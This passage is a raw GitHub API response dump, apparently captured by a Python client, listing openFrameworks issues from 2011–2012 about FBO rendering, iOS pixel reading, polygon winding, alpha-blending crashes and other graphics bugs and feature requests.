(invertY){\r\n\t\tif(currentFbo){\r\n\t\t\ty = currentFbo->getHeight() - (y + height);\r\n\t\t}else{\r\n\t\t\ty = ofGetWindowHeight() - (y + height);\r\n\t\t}\r\n\t}\r\n\tglViewport(x, y, width, height);\t\r\n}\r\nthe 'y' will computing wrong when current height is wrong\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/754","comments":0,"milestone":null,"number":754,"html_url":"https://github.com/openframeworks/openFrameworks/issues/754","assignee":null,"title":"nested fbo causing currentFBO lost","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-22T08:20:27Z","state":"open","user":{"url":"https://api.github.com/users/liquidzym","gravatar_id":"166640c513e589c86d2de49c52258eb4","login":"liquidzym","avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":51957},"id":1708332,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:38:03Z","body":"I found an issue with readToPixels() on iOS that works as expected when compiled for OSX. \r\n\r\nInitialize an FBO:\r\n\r\n   ofFbo::Settings settings;\r\n    settings.width = 1024;\r\n    settings.height = 1024;\r\n    settings.internalformat = GL_RGB;\r\n    settings.numSamples = 0;\r\n    settings.useDepth = false;\r\n    settings.useStencil = false;\r\n    screenFBO.allocate(settings);\r\n\r\nthen draw into the FBO and attempt to retrieve the pixels:\r\n\r\n ofPixels pixels; \r\n screenFBO.readToPixels(pixels); \r\n\r\nThis gives me the ofPixels I'm expecting in OSX, in iOS the pixels aren't populated. I can draw the FBO and see it on screen, I just can't get the pixels out of the texture in iOS.\r\n\r\nThis seems to be related to this portion of readToPixels() from ofFbo.cpp:\r\n\r\n bind(); \r\n int format,type; \r\n ofGetGlFormatAndType(settings.internalformat,format,type); \r\n glReadPixels(0,0,settings.width, settings.height, format, GL_UNSIGNED_BYTE, pixels.getPixels()); \r\n unbind(); \r\n\r\nHas anyone experienced this issue – any fixes?\r\n\r\nThanks,\r\nSteve","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/753","comments":1,"milestone":null,"number":753,"html_url":"https://github.com/openframeworks/openFrameworks/issues/753","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofFbo readToPixels() in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-09-21T20:50:33Z","state":"open","user":{"url":"https://api.github.com/users/stephen-baker","gravatar_id":"96e9ae469240e57fc3ebeed6769c7016","login":"stephen-baker","avatar_url":"https://secure.gravatar.com/avatar/96e9ae469240e57fc3ebeed6769c7016?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1047836},"id":1704855,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T10:37:20Z","body":"I'm having a problem with creating an image out of ofFbo pixels with some image and fbo sizes\r\n\r\n```c++\r\nvoid testApp::setup(){\r\n\r\n ofSetLogLevel(OF_LOG_VERBOSE);\r\n\tofSetVerticalSync(false);\r\n ofBackground(34, 34, 34);\r\n\tofEnableAlphaBlending();\r\n\r\n ofSetWindowShape(1024, ofGetScreenHeight()-70);\r\n ofSetFrameRate(60);\r\n\r\n frame.loadImage(\"lay.png\");\r\n \r\n imageHeight = 1172;\r\n imageWidth = 1182;\r\n\r\n mergeFbo.allocate(imageWidth, imageHeight, GL_RGB);\r\n\r\n final.setImageType(OF_IMAGE_COLOR);\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n ofEnableAlphaBlending();\r\n\r\n mergeFbo.begin();\r\n\r\n ofClear(0, 0, 0, 1);\r\n\r\n frame.draw(0, 0);\r\n\r\n mergeFbo.end();\r\n\r\n\r\n mergeFbo.draw(200, 100, 100, 200);\r\n \r\n \r\n mergeFbo.readToPixels(pixels);\r\n final.setFromPixels(pixels);\r\n\r\n final.draw(0, 0);\r\n\r\n}\r\n```","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/752","comments":1,"milestone":null,"number":752,"html_url":"https://github.com/openframeworks/openFrameworks/issues/752","assignee":null,"title":"ofFbo (problems with certain image dimensions)","labels":[],"closed_at":null,"created_at":"2011-09-20T21:16:24Z","state":"open","user":{"url":"https://api.github.com/users/ammalgamma","gravatar_id":"96b69749f518cf6a2964b999bf29ee8e","login":"ammalgamma","avatar_url":"https://secure.gravatar.com/avatar/96b69749f518cf6a2964b999bf29ee8e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":517000},"id":1691874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-19T09:04:12Z","body":"feature request for a more generic ofJoin() function that accepts vectors of all kinds of objects (float, int, ofVec2f, etc) rather than just string. anything that implements operator<<\r\n\r\nhere's an example using stl:\r\n\r\n\t#include \r\n\ttemplate \r\n\tstring ofJoin(vector& elements, string delimiter) {\r\n\t\tstringstream result;\r\n\t\tcopy(elements.begin(), elements.end(), ostream_iterator(result, delimiter.c_str()));\r\n\t\treturn result.str();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/748","comments":3,"milestone":null,"number":748,"html_url":"https://github.com/openframeworks/openFrameworks/issues/748","assignee":null,"title":"more generic ofJoin","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-17T07:26:18Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1668066,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-21T17:22:14Z","body":"\r\nI'm looking into creating some new primitives for OF [1] and the polygon winding has me a bit confused.\r\n\r\nIf you take for instance \"graphicsExample\" an you add:\r\n\r\n```glEnable( GL_CULL_FACE );```\r\n\r\nSomewhere you will no longer see much drawn to screen.\r\n\r\nGL_CCW is the default FrontFace for OpenGL, but OF seems to be the opposite.\r\nhttp://www.khronos.org/opengles/sdk/docs/man/xhtml/glFrontFace.xml\r\n\r\nWhich is coolio of course, as long as we are consistent.\r\n\r\nOur options are either to throw a ```glFrontFace( GL_CW );``` in there somewhere OR re-write all the drawing to be consistent with OpenGL default, not sure what is the best in the long run.\r\n\r\nWhat say you all?\r\n\r\n/A\r\n\r\n\r\n[1] https://github.com/andreasmuller/openFrameworks/blob/develop-opengles2/libs/openFrameworks/3d/of3dPrimitives.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/745","comments":2,"milestone":null,"number":745,"html_url":"https://github.com/openframeworks/openFrameworks/issues/745","assignee":null,"title":"Polygon winding","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-14T13:50:48Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1643672,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=8 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4936'), ('content-length', '42586'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"1f6749765d79f3319834dfda4c27cd5e"'), ('date', 'Tue, 29 May 2012 19:27:17 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-17T16:52:58Z","body":"i think it would be wonderful if every OF example was named ofApp instead of testApp. especially because:\r\n\r\n\tclass ofApp : public ofBaseApp {\r\n\r\nis more natural than:\r\n\r\n\tclass testApp : public ofBaseApp {\r\n\r\ngiven the rest of OF naming conventions. and it would increase consistency with things like:\r\n\r\n\tofGetAppPtr();\r\n\tofAppBaseWindow\r\n\tofAppGlutWindow\r\n\r\nthis is a massive refactor that shouldn't be difficult, but should be done at the same time as something like a code formatting cleanup.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/744","comments":10,"milestone":null,"number":744,"html_url":"https://github.com/openframeworks/openFrameworks/issues/744","assignee":null,"title":"rename testApp to ofApp","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-14T07:02:36Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1641198,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-26T11:56:48Z","body":"calling ofEnableAlphaBlending() crashes my app on a machine with opengl version 1.1.0, because glBlendEquation(), introduced at opengl 1.3, needs to gracefully degrade. Here is the solution:\r\n\r\n
\r\nvoid ofEnableAlphaBlending_slightlySafer(void){\r\n\tconst GLubyte * version = glGetString(GL_VERSION);\r\n\tint major, minor;\r\n\tsscanf((const char*)version, \"%i.%i\",&major, &minor);\r\n\r\n\tif(major > 1 || (major==1 && minor>=3)){\r\n\t\tofEnableAlphaBlending();\r\n\t}\t\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/743","comments":1,"milestone":null,"number":743,"html_url":"https://github.com/openframeworks/openFrameworks/issues/743","assignee":null,"title":"seg fault on ofEnableAlphaBlending() -> glBlendEquation()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-13T22:53:55Z","state":"open","user":{"url":"https://api.github.com/users/jtnimoy","gravatar_id":"153ba4a8df491692b717daad7a6030be","login":"jtnimoy","avatar_url":"https://secure.gravatar.com/avatar/153ba4a8df491692b717daad7a6030be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":183796},"id":1639020,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:00Z","body":"In ofxiPhoneAppDelegate.mm in the setAnimationFrameInterval method should be changed from\r\n\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n [self startAnimation];\r\n}\r\n\r\nto\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n}\r\n [self startAnimation];\r\n\r\nThis will allow it start again if it's stopped.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/738","comments":0,"milestone":null,"number":738,"html_url":"https://github.com/openframeworks/openFrameworks/issues/738","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone - setting ofSetFrameRate(0) and then back to > 0 doesn't start again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-12T21:23:04Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1628082,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:55:09Z","body":"it would be awesome to have lines drawn nicer when they are 1 thick and 2 make sharp edges. processing has some functions strokeCap() and strokeJoin() for setting this behavior, but it doesn't work with OPENGL mode. we could probably adapt a geometry shader to do some smart mitering for us on the GPU.\r\n\r\nprompted by the discussion here: http://forum.openframeworks.cc/index.php/topic,7278.0/topicseen.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/730","comments":1,"milestone":null,"number":730,"html_url":"https://github.com/openframeworks/openFrameworks/issues/730","assignee":null,"title":"nicer stroke mitering/joining and end caps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-07T03:27:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1586262,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T15:39:58Z","body":"ofColor_:operator+= currently calls clamp() when it's done doing the +=\r\n\r\ni imagined one of the applications of ofFloatColor would be for averaging or summing ofColor, which normally requires non-saturation semantics for +=. i could also do a / or * every += operation to avoid overflow. this doesn't have to be a bug, but it should at least be documented clearly when we discuss ofColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/728","comments":1,"milestone":null,"number":728,"html_url":"https://github.com/openframeworks/openFrameworks/issues/728","assignee":null,"title":"ofColor and clamping","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-09-05T14:41:50Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1569364,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-05T10:17:48Z","body":"Hello\r\n\r\nI had a problem with gamma for my Carbon app in OSX 10.6, UI looked \"blotched\" with Pappis' help it was solved, here are details:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,6404.msg30519.html#msg30519\r\n\r\nHowever, the trick with HIWindowSetColorSpace does not work in OSX 10.7 Lion\r\nLooking for solutions again\r\n\r\nThanks\r\nTom\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/727","comments":0,"milestone":null,"number":727,"html_url":"https://github.com/openframeworks/openFrameworks/issues/727","assignee":null,"title":"OSX 10.7 Gamma Problem","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-09-05T10:17:48Z","state":"open","user":{"url":"https://api.github.com/users/Tommato","gravatar_id":"95bbfbd39116dffe06be4d816f322bf0","login":"Tommato","avatar_url":"https://secure.gravatar.com/avatar/95bbfbd39116dffe06be4d816f322bf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1027082},"id":1566286,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-26T18:44:30Z","body":"Related forum post: http://forum.openframeworks.cc/index.php/topic,7053.0.html\r\n\r\nFrom what I understand, it's best to leave the mainThread for UIKit elements and move openGL and other things to another thread. Currently, if there's a lot of drawing then the UIKit elements are delayed and can even pause the update/draw methods entirely. Moving the drawing to it's own thread should help with this.\r\n\r\nI'm still testing, but this looks like it could be a good candidate for core integration. It has examples of threaded, single (what we currently use), and GCD (which I think is iOS 4.0 only) openGL implementation: https://github.com/Volcore/LimbicGL In my early tests, it does fix any pausing of the update/draw with the threaded example (haven't tried the others). I could use some help though trying to integrate this into OF properly.\r\n\r\nThe main example classes are here: https://github.com/Volcore/LimbicGL/tree/master/limbicgl/drivers\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/721","comments":0,"milestone":null,"number":721,"html_url":"https://github.com/openframeworks/openFrameworks/issues/721","assignee":null,"title":"ofxiPhone - Move openGL to its own thread","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-26T18:43:09Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497330,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:39:39Z","body":"The libraries linked in 007 as well as the new AVFoundationVideoPlayer is not compatible with 3.x devices and won't build.\r\n\r\nAfter further exploring, I believe these are the steps to get things running on 3.x devices.\r\n\r\n1) In Xcode, Click on target -> application name\r\n2) In the File Name window, set AVFoundation, CoreMedia, and CoreVideo from role \"required\" to \"weak\". They need to be weak linked since they're only available in iOS 4+.\r\n3) In ofxiPhone src folder, AVFoundationVideoPlayer.mm uses CMBlockBufferRef and that is only available in iOS4. This means, this function should be commented out (sorry - avfoundationvideoplayer won't run on iOS4 unless the blocker is changed). Either that or you can comment ouf AVFoundationVideoPlayer from being included in OF.\r\n4) Clean all targets and rebuild","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/720","comments":0,"milestone":null,"number":720,"html_url":"https://github.com/openframeworks/openFrameworks/issues/720","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"007 ofxiPhone not compatible with 3.x devices ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-08-26T18:38:38Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1497291,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T17:38:49Z","body":"\r\nbased on this comment, \r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,5319.msg33381.html#msg33381\r\n\r\nI wonder if we can be smarter in endShape() / ofPath::tessellate() and look for simple usage (3 or 4 points, etc) before tessellating, or if the slow down is just based on the use of the ofPath object. \r\n\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/719","comments":1,"milestone":null,"number":719,"html_url":"https://github.com/openframeworks/openFrameworks/issues/719","assignee":null,"title":"optimize ofEndShape() to deal with simple shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-08-22T16:56:27Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1459353,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T16:02:30Z","body":"change\r\n\r\nfloat ofCamera::getImagePlaneDistance(ofRectangle viewport) const {\r\n\treturn getPosition().length(); //viewport.height / (2.0f * tanf(PI * fov / 360.0f));\r\n}\r\n\r\nold in comment\r\n\r\ncurrent system is abitrary\r\nsuggest new system is more sensible\r\n(i'm always working in normalised coords)\r\npls check in your life before changing :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/717","comments":0,"milestone":null,"number":717,"html_url":"https://github.com/openframeworks/openFrameworks/issues/717","assignee":null,"title":"suggest new calc clip planes routine","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-22T16:02:30Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1458979,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-22T14:11:34Z","body":"http://forum.openframeworks.cc/index.php/topic,5222.msg33366.html#msg33366\r\n\r\nthere also seem to be a memory leak, when deleting a ofQuicktimeVideoPlayer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/716","comments":0,"milestone":null,"number":716,"html_url":"https://github.com/openframeworks/openFrameworks/issues/716","assignee":null,"title":"problems with stop/play in quicktime videoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-22T14:11:34Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":1458044,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-16T13:39:49Z","body":"Here\r\nhttps://github.com/openframeworks/openFrameworks/issues/653\r\nI downloaded latest version but in still crashes on my old video card Nvidia GeForce Go 7200.\r\nAny idea why?\r\nofxFBOTexture works, but i got some trobles in pixel format there. \r\nofxFBOTexture uses function with postfix EXT sometimes? ofFbo without it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/711","comments":5,"milestone":null,"number":711,"html_url":"https://github.com/openframeworks/openFrameworks/issues/711","assignee":null,"title":"Problem with ofFbo. Crashes on allocate.There were the same issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-08-16T10:21:29Z","state":"open","user":{"url":"https://api.github.com/users/IonRod","gravatar_id":"cf3cb346817dd8a9f8327d1af13c3d46","login":"IonRod","avatar_url":"https://secure.gravatar.com/avatar/cf3cb346817dd8a9f8327d1af13c3d46?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":886012},"id":1414013,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-15T14:23:47Z","body":"i'm noticing this on osx 10.6. all 8-bit images are correct, but somehow i didn't notice about unsigned short and float until now!\r\n\r\ni'm super busy atm, but i've kind of been maintaining the unsigned short/float loading so i'll look into this if someone else doesn't get to it first.\r\n\r\nmeanwhile it would be good to see if it's the same on windows or not. for anyone interested in testing, please check devApps/AdvancedImageLoading and compare the results of the app to the .exr opened in photoshop.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/710","comments":0,"milestone":null,"number":710,"html_url":"https://github.com/openframeworks/openFrameworks/issues/710","assignee":null,"title":"16-bit and 32-bit images are red/blue swapped","labels":[],"closed_at":null,"created_at":"2011-08-15T14:23:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1407813,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-08-07T12:19:07Z","body":"in the past there has been ofxQtVideoSaver and a few others. i think this is a really hard problem because it basically needs to be written for each platform, but something that should eventually be solved.\r\n\r\ntwo major use cases i know are:\r\n\r\n- capturing and saving simultaneously, for long streams\r\n- capturing a quick burst of video then saving it to disk\r\n\r\nwhich would might be handled a little differently.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/702","comments":1,"milestone":null,"number":702,"html_url":"https://github.com/openframeworks/openFrameworks/issues/702","assignee":null,"title":"cross platform video saving (ofVideoSaver?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-07T03:23:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1359729,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-06T20:20:03Z","body":"Hi!\r\n\r\nI have problems even getting the ofxOsc Send/Receive examples talking on Ubuntu 11.04 64bit. \r\nThey compile without problems, but sometimes when I run them, communication fails somewhere along the road - input events are not shown in the receiver app. Sometimes it does not work at all.\r\n\r\nThis works all flawlessly on 32bit Ubuntu 11.04. See http://forum.openframeworks.cc/index.php/topic,6918.0.html for more details.\r\n\r\nCan anyone reproduce these problems? Any tips? How could I debug 